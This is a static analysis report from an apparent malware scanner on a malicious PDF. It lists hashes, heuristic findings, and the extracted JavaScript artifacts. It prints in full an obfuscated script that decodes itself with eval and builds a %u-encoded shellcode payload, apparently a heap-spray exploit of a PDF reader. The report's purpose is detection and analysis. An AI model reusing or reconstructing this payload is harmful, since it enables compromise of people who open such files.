Malicious PDF — malware analysis report

Static analysis result for SHA-256 d1497cb47cdcfe9f…

MALICIOUS

PDF

4.6 KB First seen: 2026-05-08
MD5: 56d4b3ebc0bb77ed731d0ed5989a34d5 SHA-1: f3ec9de2d3f8e3c26926b3c5218711eb7b851c18 SHA-256: d1497cb47cdcfe9f203caf889df1dd70cd811f270ac53a85806650e392434a12
166 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The PDF file contains embedded JavaScript streams, one of which is heavily obfuscated and utilizes an eval() call. This suggests the script is designed to execute arbitrary code. The presence of script obfuscation indicators and the nature of the JavaScript point towards a downloader or dropper functionality. The specific JavaScript file 'javascript_obj0013_001.js' is identified as a suspicious extracted artifact.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    g='subst';i=');}ret';b='yvd.le';n='ngth-1';u='ncb';s=',hij';p='ri;};';q='vd=h';t='byvd.';r='myfvop';m='urn ';j='ring(0';a='th-';x='1);hi';e='jncby';h='ijnc';A+=a+x+e+q+h+t+g+j+s+u+b+n+i+m+r+p;
    ;eval(A);A='';o=bixp('fDVN');s=bixp('IUATt');u=bixp('pDD');l=bixp('el.m');p=bixp('Yqr');j=bixp('*htgn');z=bixp('r{ )H');y=bixp(' rav');e=bixp('0o0Y');t=bixp('IUATt1');k=bixp('(yarr');i=bixp(' = X');n=bixp('A wen');q=bixp('1N<2');v=bixp('ihw{)H');a=bixp('viI0Vz');f=bixp('0YY');r=bixp('( el');d=bixp('qr(L');h=bixp('k noit');x=bixp('N ,m0o');b=bixp('cnuf;)');A+=y+u+o+i+n+k+b+h+a+d+f+x+t+v+r+p+e+l+j+q+s+z;
    m=bixp('Yqr =+');g=bixp('er;)2');s=bixp(' = ');f=bixp(',0(g');y=bixp('/HIUA');u=bixp('3S noi');q=bixp(';m0');x=bixp(';m0o0');c=bixp('m0o');o=bixp('o0Y');l=bixp('nirt');j=bixp('tcnuf}');h=bixp('s.m0');z=bixp('sbu');k=bixp('o0YYqr');b=bixp('r nrut');e=bixp('qr}');i=bixp('0YY');w=bixp('Tt1N');v=bixp('YYq');t=bixp(' m0o0');p=bixp('YYq');A+=v+t+m+o+q+e+i+c+s+k+h+z+l+f+w+y+g+b+p+x+j+u;
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xF 67 bytes
SHA-256: 9bef692831552820427df368074e8b56cde1ce69a6ab24b4f8cb87e5f994e6c3
Preview script
First 1,000 lines of the extracted script
this.ZXMDVLGUBYOFVHJXXSEYMFVZIYYDPXLWBKULWGXHUUJPCXZYKXKMYRMRNMRS()
javascript_obj0013_001.js pdf-javascript-stream PDF /JS object 13 at offset 0x39D 8513 bytes
SHA-256: 7ebe1740e1e26e8a54c8fd536b869298ba6d93c00282b60d47a6f7bedbd2728c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s). 5 of 11 identifiers look randomly generated (e.g. 'odfcBc'); 23 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
A='';b='ijnc';x='yfvop';g='d.leng';f='tion';c='(hi';d='jncbyv';l='hijn';r='d.leng';a='";w';n='(hijn';o='hile';k='cbyvd';h='cbyv';s=' bixp(';q='){m';p='byvd.c';z='func';w='pri+=h';i='harAt';j='th>0){';e='myfvo';u='ri="';A+=z+f+s+l+k+q+x+u+a+o+c+d+r+j+e+w+b+p+i+n+h+g;
g='subst';i=');}ret';b='yvd.le';n='ngth-1';u='ncb';s=',hij';p='ri;};';q='vd=h';t='byvd.';r='myfvop';m='urn ';j='ring(0';a='th-';x='1);hi';e='jncby';h='ijnc';A+=a+x+e+q+h+t+g+j+s+u+b+n+i+m+r+p;
;eval(A);A='';o=bixp('fDVN');s=bixp('IUATt');u=bixp('pDD');l=bixp('el.m');p=bixp('Yqr');j=bixp('*htgn');z=bixp('r{ )H');y=bixp(' rav');e=bixp('0o0Y');t=bixp('IUATt1');k=bixp('(yarr');i=bixp(' = X');n=bixp('A wen');q=bixp('1N<2');v=bixp('ihw{)H');a=bixp('viI0Vz');f=bixp('0YY');r=bixp('( el');d=bixp('qr(L');h=bixp('k noit');x=bixp('N ,m0o');b=bixp('cnuf;)');A+=y+u+o+i+n+k+b+h+a+d+f+x+t+v+r+p+e+l+j+q+s+z;
m=bixp('Yqr =+');g=bixp('er;)2');s=bixp(' = ');f=bixp(',0(g');y=bixp('/HIUA');u=bixp('3S noi');q=bixp(';m0');x=bixp(';m0o0');c=bixp('m0o');o=bixp('o0Y');l=bixp('nirt');j=bixp('tcnuf}');h=bixp('s.m0');z=bixp('sbu');k=bixp('o0YYqr');b=bixp('r nrut');e=bixp('qr}');i=bixp('0YY');w=bixp('Tt1N');v=bixp('YYq');t=bixp(' m0o0');p=bixp('YYq');A+=v+t+m+o+q+e+i+c+s+k+h+z+l+f+w+y+g+b+p+x+j+u;
f=bixp('RCBG');m=bixp('19bu%');j=bixp('enu = ');h=bixp('c0c0');w=bixp(')(UN');s=bixp('av{');e=bixp('WIr');v=bixp('pacs');l=bixp('u%8e0');t=bixp('cBc');r=bixp('0000');k=bixp('= Modf');u=bixp('c0c0');d=bixp('d5u%');o=bixp('b rav;');b=bixp('385');x=bixp('0u%"(e');y=bixp('cu%00');q=bixp('e r');g=bixp('10u%4');n=bixp('x0 ');z=bixp('YTy1');A+=f+w+s+q+t+k+n+h+u+o+e+z+j+v+x+l+r+d+y+b+m+g;
d=bixp('u%d3d');i=bixp('%da4d');f=bixp('4u%0bd');w=bixp('u%dad');j=bixp('%035');n=bixp('dadau%');u=bixp('au%');p=bixp('457');z=bixp('0u%b8');t=bixp('00d');y=bixp('d3u');e=bixp('u%dada');v=bixp('3u%');h=bixp('c9d0u');x=bixp('3u%1c');k=bixp('au%9f');a=bixp('u%0');m=bixp('%269');b=bixp('054u');l=bixp('beu%9');s=bixp('3u%000');c=bixp('5u%d3d');A+=z+s+f+j+b+a+p+l+k+t+n+u+w+e+i+y+x+c+m+h+v+d;
t=bixp('%0b');p=bixp('55u%12');a=bixp('u%6b');h=bixp('09u%6');m=bixp('u%d354');d=bixp('%6bacu');x=bixp('90u');i=bixp('3d3');y=bixp('u%536d');v=bixp('465d');f=bixp('0u%1');l=bixp('d713u%');n=bixp('d7u%d7');r=bixp('%436b');b=bixp('bd4u%');w=bixp('%551');q=bixp('3u%');k=bixp('u%2bd');e=bixp('136b');u=bixp('93u');s=bixp('46bu');z=bixp('u%75');A+=m+e+l+b+h+p+a+y+r+x+n+t+s+f+w+d+u+z+v+q+k+i;
c=bixp('7db');s=bixp('6baeu%');k=bixp('3u%55');z=bixp('4cu%d');f=bixp('%847cu');u=bixp('u%84f');e=bixp('bu%');m=bixp('62cu%1');x=bixp('%5d');w=bixp('u%a');a=bixp('6bu%9');d=bixp('7a6u');n=bixp('u%35d');i=bixp('25u%fd');p=bixp('44d3u');o=bixp('d3d3u%');t=bixp('d355');r=bixp('505');q=bixp('3u%a7d');g=bixp('%20d');v=bixp('4u%');y=bixp('5du%b2');A+=z+i+k+n+t+v+u+r+m+a+y+x+p+o+s+e+q+g+f+d+w+c;
w=bixp('3d3u');o=bixp('20d');s=bixp('6b2du%');a=bixp('d3u%1');m=bixp('d36b');k=bixp('d93');g=bixp('%559');v=bixp('u%d');z=bixp('847cu%');n=bixp('32cu%c');c=bixp('u%c3');l=bixp('6u%b');f=bixp('6e0u%');j=bixp('c6f6');b=bixp('ec6u%');r=bixp('3u%a');u=bixp('e6u%1');p=bixp('613');t=bixp('3u%f6');e=bixp('fcbu%2');h=bixp('u%4');d=bixp('u%764');A+=r+o+z+s+f+e+h+k+a+c+m+b+u+t+g+w+n+v+p+l+d+j;
a=bixp('u%e');w=bixp('u%6');l=bixp('%84e');f=bixp('u%6');e=bixp('eb6du');g=bixp('41cu%');b=bixp('34bu%');r=bixp('u%e6e7');c=bixp('85u%3');i=bixp('3u%bfe');n=bixp('185');t=bixp('bu%53d');z=bixp('u%db60');s=bixp('%d384');m=bixp('185');o=bixp('7u%54');k=bixp('bf3u%');v=bixp('u%e793');u=bixp('485u%3');h=bixp('7ccbu');d=bixp('3u%5');x=bixp('3afu%5');A+=k+w+r+z+s+h+g+f+m+u+d+l+e+b+x+a+v+n+c+o+i+t;
w=bixp('dfu');f=bixp('d384');n=bixp('%87');s=bixp('u%d6');z=bixp('937');q=bixp('667');h=bixp('3u%46e');o=bixp('cu%b');u=bixp('f93u%');i=bixp('d62cu%');l=bixp('e6a6');r=bixp('d6u%e0');g=bixp('bu%');v=bixp('u%eb5');j=bixp('75u%');m=bixp('6u%2');d=bixp('d3u%d0');b=bixp('%b3');t=bixp('cb6u%');k=bixp('c3e6u');x=bixp('5bu%c');p=bixp('6d2u%');A+=q+u+x+d+n+w+r+s+l+i+p+o+v+f+j+b+k+t+m+z+g+h;
x=bixp('b4d1');t=bixp('%3154');f=bixp('b94u%8');g=bixp('498u');u=bixp('c6u%');n=bixp('ff9');q=bixp('38cu');h=bixp('%b6');e=bixp('u%e');p=bixp('6bu%53');i=bixp('e38cu%');m=bixp('04fu%');v=bixp('410u');j=bixp('47c7');c=bixp('d3u%c');s=bixp('2cb');l=bixp('6bu%e');y=bixp('%70');d=bixp('6u%8');k=bixp('u%6');a=bixp('u%b6');z=bixp('7dbu%');A+=n+z+c+y+g+d+s+u+p+h+v+f+k+t+q+l+a+x+i+m+e+j;
j=bixp('u%03e');q=bixp('6022u%');c=bixp('du%');v=bixp('30eu%');t=bixp('3691u%');i=bixp('u%09e');n=bixp('u%7ed7');h=bixp('38d2');z=bixp('3u%cf6');e=bixp('u%e');f=bixp('366');x=bixp('eu%');u=bixp('u%6e2');o=bixp('8fe0');p=bixp('67u%b');a=bixp('6dcc');y=bixp('3u%');r=bixp('bu%84a');d=bixp('fu%945');m=bixp('3u%');b=bixp('3u%70b');l=bixp('56b');A+=y+i+o+m+u+h+x+b+d+z+j+n+a+q+c+r+f+t+v+e+l+p;
f=bixp('bu%1d5');x=bixp('936u%');h=bixp('46e');g=bixp('bu%3');j=bixp('u%3c7');s=bixp('%3334');a=bixp('%936b');k=bixp('e4e0u%');e=bixp('u%0e6b');w=bixp('3u%');p=bixp('c2c');c=bixp('fu%6');q=bixp('u%5d');r=bixp('2c3');m=bixp('au%373');i=bixp('5efdu');z=bixp('3u%6b');t=bixp('7f7bu%');d=bixp('u%12e');n=bixp('36u%13');b=bixp('e38fu');y=bixp('2cu%');A+=n+z+d+e+a+b+x+c+h+y+q+p+g+r+w+m+f+j+s+i+k+t;
l=bixp('2554u%');f=bixp('4u%159');c=bixp('21u%3');y=bixp('525u%');k=bixp('1u%94d');z=bixp('0u%352');o=bixp('4u%5');j=bixp('4u%5');m=bixp('4d3u%');s=bixp('702');x=bixp('%85f');e=bixp('5u%');b=bixp('u%84');g=bixp('21u%');r=bixp('66b0u%');a=bixp('a4u%72');i=bixp('594u%e');t=bixp('77c');h=bixp('21b5u%');v=bixp('7545');q=bixp('1f4u');u=bixp('6u%d4');A+=r+g+a+u+t+m+i+o+k+s+h+l+y+j+f+x+q+c+b+v+e+z;
c=bixp('%b5d0');j=bixp('20u');d=bixp('f5u');i=bixp('e0u%');o=bixp('d3u');l=bixp('5500');q=bixp('u%d0');h=bixp('%a0d0u');y=bixp('95c5');f=bixp('u%d0d');k=bixp('%e5');a=bixp('0u%d');u=bixp('%80c');z=bixp('5u%');p=bixp('u%959');e=bixp('f0u');m=bixp('%5040');g=bixp('0c0');n=bixp('u%b085');v=bixp('u%45');b=bixp('u%212');w=bixp('0u%f0');A+=b+l+z+u+o+k+j+v+m+d+w+p+n+g+a+f+c+h+e+q+y+i;
u=bixp('e5c0u');y=bixp('40u%');d=bixp('0u%80d');k=bixp('0u%');o=bixp('0b0u');j=bixp('d0u%');m=bixp('%40c5u');x=bixp('c5u%b0');c=bixp('0u%d0');r=bixp('%d0f');a=bixp('0u%4');i=bixp('d0d');g=bixp('%d0');t=bixp('u%d0');q=bixp('u%e0c');b=bixp('d090u%');n=bixp('d0u%d');h=bixp('d0c0u%');p=bixp('%40');e=bixp('0e0');w=bixp('%d0d0');s=bixp('d0d0u');A+=x+p+m+o+n+t+w+s+j+c+r+u+k+d+q+e+a+i+h+b+y+g;
w=bixp('rav');c=bixp('u%d');i=bixp('a0u%d0');t=bixp(' = PUx');r=bixp('rav;)"');k=bixp('u%c0');x=bixp('EoCW r');a=bixp('004x0');p=bixp('d0d0');s=bixp(' odFY');l=bixp('el.Y');h=bixp('d0d3');f=bixp('0d0u');b=bixp('Ty1');y=bixp(';2 *');v=bixp('d0u%');j=bixp('zbAWV ');e=bixp('d0u%d0');o=bixp('WIrb =');g=bixp('Tt1N ');m=bixp(' htgn');n=bixp('av;000');A+=f+c+p+v+e+i+k+h+r+j+t+a+n+x+s+o+b+l+m+y+w+g;
l=bixp('u = m');t=bixp('0909u');x=bixp('FYE');j=bixp('(Lvi');z=bixp('k = m');a=bixp(';)83x0');r=bixp('0o0Y');e=bixp('Yqr');p=bixp('Yqr');s=bixp('epa');f=bixp('Yqr;)"');o=bixp(' rav');b=bixp('I0Vz');i=bixp('csen');h=bixp('0909u%');y=bixp('%"(');u=bixp('+od');q=bixp('HIUA');d=bixp('0o0Y');w=bixp('oCW( -');k=bixp(' PUxzb');n=bixp('AWV = ');A+=q+n+k+w+x+u+a+o+p+d+l+i+s+y+t+h+f+r+z+b+j+e;
j=bixp('e( = ');e=bixp(';PUxz');g=bixp('=sK');a=bixp('x0 - M');c=bixp('( rof');x=bixp(' ra');d=bixp('fE7A');l=bixp('t1N ,');s=bixp('0004');b=bixp('iYzE');i=bixp('biYz');f=bixp('<sKb');z=bixp('V/)00');u=bixp('bAW');q=bixp('Ex rav');h=bixp('m0o0Y');o=bixp('UAT');v=bixp('Zwpj');k=bixp('v;)HI');m=bixp('x;0');y=bixp('7AZwpj');t=bixp('odfcBc');A+=h+l+o+k+x+v+d+j+t+a+s+z+u+e+c+q+i+g+m+b+f+y;
c=bixp('DTY r');t=bixp('3S{)(u');d=bixp('itcn');a=bixp('WIrb +');z=bixp('UNRCBG');m=bixp('gRD');q=bixp(' no');s=bixp('Q9yQ');b=bixp('[XfDV');k=bixp('CwHPN');f=bixp(' m0o0');p=bixp('sKbiY');e=bixp('av;)(');r=bixp('YYqr');g=bixp(';YTy1');i=bixp('biYzEx');l=bixp(' = ');j=bixp('NpDD');x=bixp('zEx;fE');y=bixp('{ )++');v=bixp(']sK');o=bixp('uf}}');A+=x+p+y+j+b+i+v+l+r+f+a+g+o+d+q+s+m+t+z+e+c+k;
i=bixp('alloC');w=bixp('w;)"');z=bixp('HPNDT');x=bixp('CwHPND');o=bixp('944 < ');q=bixp('TY )25');g=bixp('.Cw');r=bixp('%c0c0');t=bixp('tSb');d=bixp('Y =+ ');b=bixp('t;Cw');u=bixp('htg');l=bixp('enu = ');m=bixp('HPNDT');c=bixp('nel');e=bixp(' = ero');v=bixp('all');n=bixp('pacs');y=bixp('oc.sih');j=bixp('c0c0u');p=bixp('u%"(e');a=bixp('Y(elih');A+=l+n+p+r+j+w+a+z+g+c+u+o+q+x+d+m+b+y+v+t+e+i;
a=bixp('amEtce');b=bixp('bus{(');w=bixp('9yQ};)');s=bixp('ofnIli');m=bixp('RDQ');e=bixp('DTY :g');i=bixp('"" :j');c=bixp(')(ug');n=bixp(';');y=bixp('llo');j=bixp('}Cw');f=bixp('c.b');z=bixp('sm,');v=bixp('HPN');A+=f+y+a+s+b+i+z+e+v+j+w+m+c+n;
;eval(A);